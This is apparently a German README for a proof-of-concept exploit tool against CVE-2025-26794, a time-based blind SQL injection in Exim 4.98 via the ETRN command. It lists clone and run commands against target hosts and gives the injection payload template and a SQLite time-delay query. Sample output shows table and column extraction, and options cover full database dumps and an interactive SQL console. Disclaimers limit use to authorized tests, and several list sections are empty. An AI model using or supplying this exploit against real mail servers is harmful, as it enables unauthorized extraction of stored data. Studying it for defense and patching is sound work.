
SQL-Injection-Exploit für CVE-2025-26794 in Exim 4.98. Automatisierte Datenextraktion über zeitbasierte Blind-SQLi. Nur für autorisierte Penetrationstests.
Ein Proof-of-Concept-Exploit-Tool für CVE-2025-26794, das die SQL-Injection-Schwachstelle im Exim-4.98-Mailserver über den ETRN-Befehl bei Verwendung von SQLite-DBM-Speicher demonstriert.
NUR FÜR AUTORISIERTE SICHERHEITSTESTS
Dieses Tool dient ausschließlich Bildungszwecken und autorisierten Penetrationstests. Unbefugter Zugriff auf Computersysteme ist nach verschiedenen Gesetzen illegal, darunter:
Sie müssen eine ausdrückliche schriftliche Genehmigung haben, bevor Sie ein System testen, das Ihnen nicht gehört.
Die Autoren und Mitwirkenden übernehmen keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
CVE-2025-26794 ist eine SQL-Injection-Schwachstelle in Exim 4.98, die auftritt, wenn:
Diese Schwachstelle ermöglicht Angreifern:
# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit
# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
python3 exploit.py <target> [options]
python3 exploit.py 192.168.1.10 --test-only
python3 exploit.py mail.example.com --auto-dump
python3 exploit.py 10.0.0.5 --interactive
python3 exploit.py 192.168.1.10 --table users --columns
python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"
ETRN #',1); <MALICIOUS_QUERY> /*
Die Payload nutzt die unsachgemäße Bereinigung im ETRN-Serialisierungs-Handler aus und ermöglicht eine SQL-Injection in SQLite-Abfragen.
Verwendet eine SQLite-spezifische Zeitverzögerung:
SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
Dies erzeugt eine messbare Verzögerung (~1–2 Sekunden), wenn die Bedingung wahr ist.
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-26794: Exim SQLi Data Extraction Tool ║
║ FOR AUTHORIZED USE ONLY ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s
[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users
[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email
Wenn Sie Exim 4.98 mit SQLite-DBM ausführen:
Der Exploit verwendet Binärsuche, um Zeichen effizient zu extrahieren:
unicode(): ASCII-Wert eines Zeichens ermittelnsubstr(): Teilstring aus dem Ergebnis extrahierensqlite_master: Systemtabelle zur Schema-Aufzählungpragma_table_info(): Extraktion von SpaltenmetadatenBeiträge sind willkommen für:
Bitte stellen Sie sicher, dass alle Beiträge Folgendes enthalten:
Dieses Projekt wird ausschließlich zu Bildungszwecken veröffentlicht. Verwenden Sie es verantwortungsvoll und legal.
XploitGh0st
Wenn Sie mit diesem Tool Schwachstellen entdecken:
Denken Sie daran: Mit großer Macht kommt große Verantwortung. Nutzen Sie dieses Tool ethisch und legal.
| Option | Beschreibung |
|---|
host | Ziel-Hostname oder IP-Adresse (erforderlich) |
-p, --port | SMTP-Port (Standard: 25) |
-t, --timeout | Socket-Timeout in Sekunden (Standard: 30) |
--threshold | Zeitverzögerungsschwelle für die Erkennung (Standard: 0,8 s) |
--test-only | Nur Schwachstelle testen, keine Datenextraktion |
--auto-dump | Datenbankstruktur und -daten automatisch ausgeben |
--interactive | Interaktive SQL-Abfragekonsole starten |
--table TABLE | Bestimmte Tabelle für die Extraktion ansprechen |
--columns | Spaltennamen extrahieren (mit --table verwenden) |
--query QUERY | Benutzerdefinierte SQL-Abfrage ausführen |